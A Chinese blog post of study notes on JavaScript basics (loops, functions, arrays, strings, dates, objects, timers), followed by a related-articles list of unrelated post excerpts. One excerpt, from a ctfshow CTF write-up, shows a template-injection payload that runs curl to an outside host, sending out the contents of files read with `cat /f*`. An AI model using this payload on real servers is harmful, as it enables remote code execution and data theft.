前端编程语言——JS语言结构、函数、数组、字符串、日期、对象、定时器(2)

0、前言:

  • 这篇文章记录的是我自己的学习笔记。
  • 在python中通过input来获取输入,在JS中用prompt(),来获取输入。
  • 写JS代码要记得每个代码结束要加上分号。

1、JS编程语言结构:

  • 顺序结构:从上往下依次执行
  • 分支结构:if、switch(switch和case要搭配break使用,还得有default兜底)
  • 循环结构:while、do-while、for、for-in(只能从头遍历到尾)、for-of、foreach、重点掌握while和for循环。
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><script>// if单分支if (10){console.log(10);console.log(10);}// if双分支// a = prompt('请输入你的年龄')// if (a>18){//     console.log('你已成年了');// }// else{//     console.log('你还未成年');// }// if多分支var score = 90;if (score >= 90){console.log('优秀');}else if(score >= 60){console.log('合格');}else{console.log('不合格');}// ---------------------// ★while循环,计算1+2+···+100var i = 1, s = 0;while(i<=100){s = s+i;i += 1;}console.log(s); // 5050// ★for循环var m = 0;for(var i=1; i<=100; i++){m = m+i;}console.log('for循环结果:',m); // 5050// for-in循环var a = [1,2,3,4,5];var sum = 0;for(var i in a){sum = a[i] + sum;}console.log(sum); // 15</script>
</body>
</html>

2、JS当中的函数:

  • JS当中函数的概念:把特定功能的代码抽取出来,使之成为程序中的一个独立实体。
  • 使用函数的好处:提高程序的复用性,减少代码量,便于维护。
// 函数格式:
function 函数名(参数1, 参数2, ...){执行语句;return 返回值;
}
  • 实例:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><script>function addition(a,b){return a+b}console.log(addition(3,5))</script>
</body>
</html>
  • JS中匿名函数的写法:在JS中匿名含数就相当于把正常函数的函数名去掉,然后把函数赋值给一个变量,这个变量就相当于函数名。匿名含数一般会被当中参数,传入到另外一个函数当中,因此匿名函数就涉及到函数的嵌套,而函数嵌套就涉及到闭包的内容(闭包就是指在外函数中定义一个内函数,并将内函数作为外函数的返回值,闭包可以为内函数提供一个相对隐秘的封装环境)
var fn = function(a,b){console.log('匿名函数:',a,b)
}
fn(1,2) // 匿名函数: 1 2
  • 函数的特点是,不调用不执行,调用才执行,可以重复调用,JS当中的函数不需要提前声明,就可以在定义函数的前面调用,但是JS当中的匿名函数不具有这种性质。
  • JS当中函数的参数:JS当中的参数是传进去之后,传入到一个叫arguments的数组当中,可以在函数中通过console.log把arguments打印出来看一看,arguments可以用来接收不同长度的参数。在ES6的语法中,可以给函数设置默认参数,但是不能像python一样传递关键字参数,传递参数还是通过位置参数来传参。
  • ES6版本中的箭头函数:箭头函数只有一个参数的时候可以省略参数外面的括号,否则都得加括号。如果函数体有多行代码,就要给代码外面加花括号,代码之间用分号隔开,花括号外面也要加分号。如果返回值是一个字典,就应该在字典的花括号外面再加一个圆括号。
<script>// 用箭头函数实现a+bvar fn = (a,b) => a+b;console.log(fn(1,2)) // 3var fx = (name,age) => ({name:name, age:age})console.log(fx('豆豆', 18)) // 返回的是objectvar fa = (a, b) => {a = a*2; b = b-1; return a+b}console.log(fa(3,2)) // 7
</script>
  • 回调函数:把一个函数作为参数输入到另一个函数当中,如下面代码中 f1 就是一个回调函数。
<script>function f1(f,a){f(a);}function f2(a){console.log('callback', a)}f1(f2,100) // callback 100
</script>
  • 自运行函数(拓展):用一个括号包裹函数体,再用一个括号调用函数:(函数体)(参数···)
  • 注意:函数作用域表明,函数内部的变量是局部变量,函数外部定义的变量是全局变量,注意在函数中定义变量时,如果没有加var,这个变量就会变成全局变量;在 if 或者 for 当中 let 定义的变量具有作用域,var 定义的变量是全局的;

3、JS当中的数组(相当于python中的列表):

  • 传统定义JS当中数组的方法是用 new Array 的方法,现在都是用类似python列表定义的方式,注意数组中可以存放多种类型的数据。
  • 数组元素的访问,用下标从0开始访问。
  • 数组遍历,用for循环。
  • 创建好数组之后,可以用 length 属性,获取数组长度。
  • 数组中没有和python一样的切片操作,但是有对应的方法,可以实现切片:
    • push():接收任意数量的参数,把它们逐个添加到数组的末尾,并返回修改之后的数组长度。
    • pop():从数组末尾移除最后一个元素,减少数组的 length 值,然后返回移除的元素。
    • sort():从小到大排序,原数组被修改,但是要实现数字排序,就要在sort中加函数。
    • reverse():逆向排序,原数组也被修改。
    • slice():切片,不修改原数组,将原数组指定区域的数据提取出来,返回一个新数组,不改变原数组,可以通过该方法实现数组复制。
    • splice():截取原数组中指定的数据,会改变原数组。
    • indexof():获取数组中第一个出现指定元素的下标,如果不存在则返回-1。
    • join():将数组中的元素用指定的字符连接,连接成为一个字符串。
    • 注意:在 console.log 中打印一个数组时,后面会有 Prototype 在其中就可以看到数组相关的方法。

4、JS当中的字符串:

  • 字符串定义:var str = “内容” (可以用双引号或者单引号)。
  • 字符串可以通过下标取其中的单个字符。
  • 字符串不可以修改
  • 注意JS中写在 “/“ 与 “/” 之间的就是正则表达式
  • 字符串中常用方法:字符串的方法有很多,以下只简单列举一些较为常用的
    • 通过“+”可以拼接字符串
    • str.indexOf(‘b’):查找字符串’b’第一次出现在str字符串中的位置
    • str.replace(‘b’,‘m’):将字符串str中第一个字符b替换为m
    • ★★ str.substring(‘1’,‘3’):截取字符串中第1位到第3位的字符串,不包含第3位
    • console.log(‘hello world’.split(‘o’)):打印结果为[‘hell’, ’ w’, ‘rld’],这个代码表示,通过字符o,切分字符串 ‘hello world’ 。
    • console.log(‘Hello WorLd’.toLowerCase()):打印结果为hello world,表示将字符串整体转换为小写。
    • console.log(‘Hello WorLd’.toUpperCase()):打印结果为HELLO WORLD,表示将字符串整体转换为大写。
    • JS中占位符的写法:相当于python中 f"{}" 的写法,如下是JS中占位符的写法,注意用占位符的时候,就不能用引号了,用的是 `
<script>var str = 'abcsa'console.log(`JS:${str}`)  // JS:abcsa
</script>

5、JS当中的日期:

  • 创建日期对象:
    • 使用 new 运算符和构造函数 Date 即可,注意JS中的构造函数不等同于python中的构造函数。
    • var d = new Date(); 这个代码中没有往Date中传参数,就会自动获取当前时间,常用的传递时间的格式如下:2023/08/22 或者 2030-03-22 或者其他时间格式。通过传递时间的格式就能把时间设置为一个你设定好的时间,但是要注意传递设定时间时,要给你设定的时间加上引号(单引号,双引号都可以)。
  • 日期对象当中常用的方法:
    • getFullYear():获取日期对象中的年
    • getMonth():获取日期对象中的月
    • getDate():获取日期对象中的日
    • getDay():获取日期对象所在的星期
    • getHours():获取日期对象中的时
    • getMinutes():获取日期对象中的分
    • getSectonds():获取日期对象中的秒
    • 注意:也可以通过set~方法修改日期对象,例如 setMonth() 就可以设置日期对象的月份。
  • 时间戳:
    • 在JavaScript中,时间戳是指自1970年1月1日(UTC/GMT的午夜)以来所经过的秒数或毫秒数。可以使用Date.now()方法获取当前时间的时间戳(以毫秒为单位),或者通过new Date().getTime()创建一个新的Date对象并获取其时间戳。
    • 通过 getTime() 可以获取当前日期对象的时间戳,通过 setTime() 可以修改当前对象的时间戳。

5、JS当中的对象:

  • 不同于其他语言中的对象,JS当中的对象可以充当python中的字典。是一种引用数据类型,可以用于存储变量和函数。
  • 创建对象:
<script>// 创建对象的方法1var obj = new Object();obj.name = 'Brush';obj.age = 19;obj.dance = function(action){console.log(`${obj.name} can ${action}`);};console.log(obj.name, obj['name']);obj.dance('papa');// 创建对象的方法2(推荐使用这种方式)var name_1 = 'lala'var obj1 = {name : 'youyou',age : 20,runu : function(){return 'running..';},// 属性简写(前提是前面已经定义过)name_1,// 方法简写zouLu(s){console.log(`${name_1}${s}的走路`);}};console.log(obj1.name, obj1.name_1);obj1.zouLu('快乐');// 删除对象中的属性或者方法delete obj1.zouLu;delete obj1.name;
</script>

在这里插入图片描述

  • 补充:JS当中的构造函数就相当于python当中的类,但不完全一样,如下所示。
<script>// 创建构造函数(类)function User(number, interesting){// 初始化属性this.number = number;this.interesting = interesting;// 方法this.action = function(){console.log(`${number} love ${interesting}`);};};// 使用new之后,上面的User才能成为构造函数var user = new User(1,'running');console.log(user.number,user.interesting);user.action();
</script>

6、★★★JS中定时器的应用

  • python中没有定时器的功能,JS中这个功能就有点像嵌入式当中的定期器了。
  • 1、周期性定时器(setInterval)搭配关闭定时器(clearInterval),在 setInterval() 中有两个参数,一个是函数,一个是间隔时间,注意间隔时间的单位是毫秒。第一个参数应该是一个不包含参数的函数;使用方式一般是把周期定时器赋值给一个变量,然后通过给clearInterval() 中传入定时器变量,来终止定时器,注意clearInterval() 可以写在定时器里面(通过计数次数来终止),也可以在定时器外面通过其他条件激活(通过事件来终止)。要注意写在JS代码中的定时器与它后面的代码是异步的。
<script>//n = 0name = 'zhangsan' var timer = setInterval(function(){console.log(`${name}3秒到了`)name+='- ';n += 1;if (n > 4){clearInterval(timer)}},1000);console.log('如果我在定时器前面显示,就说明定时器在代码执行中,与其他代码是异步的')
</script>

在这里插入图片描述

  • 2、延时器(setTimeout)搭配关闭延时器(clearTimeout),延时到指定时间后,执行一次操作,一般不用专门去关闭延时器。
<script>// 实现秒表功能setTimeout(function(){console.log('两秒之后执行')}, 2000);console.log('如果我在延时器前面显示,就说明延时器在代码执行中,与其他代码是异步的');
</script>

在这里插入图片描述

  • 下面的示例代码使用延时器做一个定时器,结合下面的例子,可以看看JS如何与HTML交互,注意:在JS中用class是没法选择到对象的,需要用id选择对象。
    • 逻辑:先通过点击事件引发JS当中的函数,然后在函数中写周期性定时器,为了用按键控制停止,所以把周期性定时器赋值给一个变量。注意下面代码中超前使用了DOM相关知识。
<script>var n = 0;var timer = null; // 定时器写成全局变量,这样就能控制开始和停止了。// 定时器实现秒表功能beg.onclick = function(){if(!timer){timer = setInterval(function(){n += 1;// 更新秒表时间var h = parseInt(n / (60 * 60));var m = parseInt(n/60) % 60;var s = parseInt(n % 60);// 通过DOM操作更新页面内容hour.innerText = h<10?'0'+h:h;minu.innerText = m<10?'0'+m:m;sec.innerText = s<10?'0'+s:s;}, 1000);   }};// 停止按钮stop1.onclick = function(){clearInterval(timer)setTimeout(function(){n = 0;// 更新秒表时间var h = parseInt(n / (60 * 60));var m = parseInt(n/60) % 60;var s = parseInt(n % 60);// 通过DOM操作更新页面内容hour.innerText = h<10?'0'+h:h;minu.innerText = m<10?'0'+m:m;sec.innerText = s<10?'0'+s:s;},5000)}
</script>

在这里插入图片描述

  • 总给:这个定时器有个问题,就是点击停止计时之后,5秒它就会自动复位。

7、练习:

  • 写一个判断是否为闰年的函数
  • 给定一个数组,打印其最大值与最小值
  • 让数组首尾两个元素交换位置

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/32180.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构】顺序表实操——通讯录项目

Hi~&#xff01;这里是奋斗的小羊&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f4a5;&#x1f4a5;个人主页&#xff1a;奋斗的小羊 &#x1f4a5;&#x1f4a5;所属专栏&#xff1a;C语言 &#x1f680;本系列文章为个人学习…

三电平光伏逆变器高效DPWM研究

1. 引言 本文从效率 提升角度出发 , 详细分析了逆变器不同调制策略下开关 器件及滤波器损耗分布情况 , 并在 50kW 组串式三电平光伏逆变器上对比分析采用 SVPWM 和 DPWM 两种 调制方法对逆变器效率和谐波的影响 , 最终验证了采用 DPWM 调制策略的优越性。 2 SVPWM 和 DPWM 对比…

OpenCV 特征点检测与匹配

一 OpenCV特征场景 ①图像搜索&#xff0c;如以图搜图&#xff1b; ②拼图游戏&#xff1b; ③图像拼接&#xff0c;将两长有关联得图拼接到一起&#xff1b; 1 拼图方法 寻找特征 特征是唯一的 可追踪的 能比较的 二 角点 在特征中最重要的是角点 灰度剃度的最大值对应的…

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?codestr(.__class__.__bases__[0].__subclasses__[185].__init__.__globals__[__builtins__][__import__](os).__dict__[popen](curl http://ip:port?1cat /f*)) ?codestr(.__class__.__bases__[0].__subclasses__()[185].__init_…

OpenCV Mat实现图像四则运算及常用四则运算的API函数

装载有图像数据的OpenCV Mat对象&#xff0c;可以说是一个图像矩阵&#xff0c;可以进行加、减、乘、除运算。特别是加运算特别有用。 一 与常数的四则运算 与常数的加运算 示例&#xff1a; #include <iostream> #include <opencv2/opencv.hpp>using namespace …

10.华为路由器使用ospf动态路由连通两个部门网络

目的&#xff1a;实验ospf动态路由协议连通A与B部门 AR1配置 [Huawei]int g0/0/0 [Huawei-GigabitEthernet0/0/0]ip add 1.1.1.1 24 [Huawei]vlan batch 10 [Huawei]int Vlanif 10 [Huawei]int e0/0/0 [Huawei-Ethernet0/0/0]port link-type access [Huawei-Ethernet0/0/0]por…

SpringCloud中Eureka和Nacos的区别和各自的优点

Eureka注册中心 Eureka作为一个注册中心&#xff0c;服务提供者把服务注册到注册中心&#xff0c;服务消费者去注册中心拉取信息&#xff0c; 然后通过负载均衡得到对应的服务器去访问。 服务提供者每隔30s向注册中心发送请求&#xff0c;报告自己的状态&#xff0c;当超过一定…

对比学习

对比学习基本概念 对比学习通过对比数据对的“相似”或“不同”以获取数据的高阶信息。 由同一张原始图片扩增而来的两张新的图片&#xff0c;叫做Positive Pairs。将这两张图片送入深度学习模型中&#xff0c;我们希望深度学习模型学习到这两个图像是相似的。 由不同原始图…

Flutter-实现头像叠加动画效果

实现头像叠加动画效果 在这篇文章中&#xff0c;我们将介绍如何使用 Flutter 实现一个带有透明度渐变效果和过渡动画的头像叠加列表。通过这种效果&#xff0c;可以在图片切换时实现平滑的动画&#xff0c;使 UI 更加生动和吸引人。 需求 我们的目标是实现一个头像叠加列表&…

【完全复现】基于改进粒子群算法的微电网多目标优化调度(含matlab代码)

目录 主要内容 部分代码 结果一览 下载链接 主要内容 程序完全复现文献模型《基于改进粒子群算法的微电网多目标优化调度》&#xff0c;以微电网系统运行成本和环境保护成本为目标函数&#xff0c;建立了并网方式下的微网多目标优化调度模型&#xff0c;通过改进…

游戏大厂“脱钩”安卓商店: 独立渠道TapTap们能否渔利

一纸公告将游戏厂商与渠道的博弈再度摆上了台面。 近日&#xff0c;腾讯控股旗下手游《地下城与勇士&#xff1a;起源》&#xff08;下称“DNF手游”&#xff09;运营团队发布公告称&#xff0c;自6月20日起&#xff0c;DNF手游将不再上架部分安卓平台的头部应用商店。 下架的…

idea添加文档注释

一、easy javadoc插件 在settings的plugins中下载easy javadoc插件。 安装完成后重启idea&#xff0c;再次打开settings界面。会出现easyDoc相关配置。 二、设置模版以及使用 类描述模版参考设置&#xff1a; /** * 类描述 -> * * Author: ywz * Date: $Date$ */ 方法描述…

C++继承与多态—多重继承的那些坑该怎么填

课程总目录 文章目录 一、虚基类和虚继承二、菱形继承的问题 一、虚基类和虚继承 虚基类&#xff1a;被虚继承的类&#xff0c;就称为虚基类 virtual作用&#xff1a; virtual修饰成员方法是虚函数可以修饰继承方式&#xff0c;是虚继承&#xff0c;被虚继承的类就称为虚基类…

知网期刊《新课程导学》投稿要求及收稿方向

知网期刊《新课程导学》投稿要求及收稿方向 知网期刊《新课程导学》作为一份专注于教育领域的学术期刊&#xff0c;一直以来都致力于为广大学术研究者提供一个高质量、高水平的学术交流平台。为了保证期刊的学术质量&#xff0c;编辑部对投稿要求和收稿方向有着严格的规定。 首…

【实战分享】雷池社区版助力构建高可用、安全的Web应用架构

引言 在日益复杂的网络环境中&#xff0c;构建坚不可摧的安全防线成为每一位网站守护者的重要使命。本文将深入剖析一套集CDN加速、高效Nginx代理与雷池WAF深度防护于一体的现代网站安全架构设计&#xff0c;特别强调雷池WAF在此架构中的核心作用及其对整体安全性的提升策略。…

C#实现高斯模糊(图像处理)

在C#中实现高斯模糊&#xff0c;可以使用System.Drawing库。高斯模糊是一种基于高斯函数的滤波器&#xff0c;它可以有效地平滑图像。以下是详细的步骤&#xff0c;包括生成高斯核并应用到图像上的代码示例。 1. 生成高斯核 首先&#xff0c;我们需要编写一个方法来生成高斯核…

Node.js 渲染三维模型并导出为图片

Node.js 渲染三维模型并导出为图片 1. 前言 本文将介绍如何在 Node.js 中使用 Three.js 进行 3D 模型渲染。通过结合 gl 和 canvas 这两个主要依赖库&#xff0c;我们能够在服务器端实现高效的 3D 渲染。这个方法解决了在服务器端生成和处理 3D 图形的需求&#xff0c;使得可…

【mysql】常用操作:维护用户/开启远程/忘记密码/常用命令

一、维护用户 1.1 创建用户 -- 语法 > CREATE USER [username][host] IDENTIFIED BY [password];-- 例子&#xff1a; -- 添加用户user007&#xff0c;密码123456&#xff0c;并且只能在本地可以登录 > CREATE USER user007localhost IDENTIFIED BY 123456; -- 添加用户…

一文搞懂Linux信号【下】

目录 &#x1f6a9;引言 &#x1f6a9;阻塞信号 &#x1f6a9;信号保存 &#x1f6a9;信号捕捉 &#x1f6a9;操作信号集 1.信号集操作函数 2.其它操作函数 &#x1f6a9;总结&#xff1a; &#x1f6a9;引言 在观看本博客之前&#xff0c;建议大家先看一文搞懂Linux信…

Star、Star求Star

本章是介绍博主自己的一个小工具的。使用的PythonPyQt5开发的。顺带来求一波star&#x1f31f;&#x1f31f;&#xff01;&#xff01;&#xff01; 地址&#xff1a;https://gitee.com/qinganan_admin/PyCom Pycom是博主开发的串口工具&#xff0c;要是说对比其他串口工具&…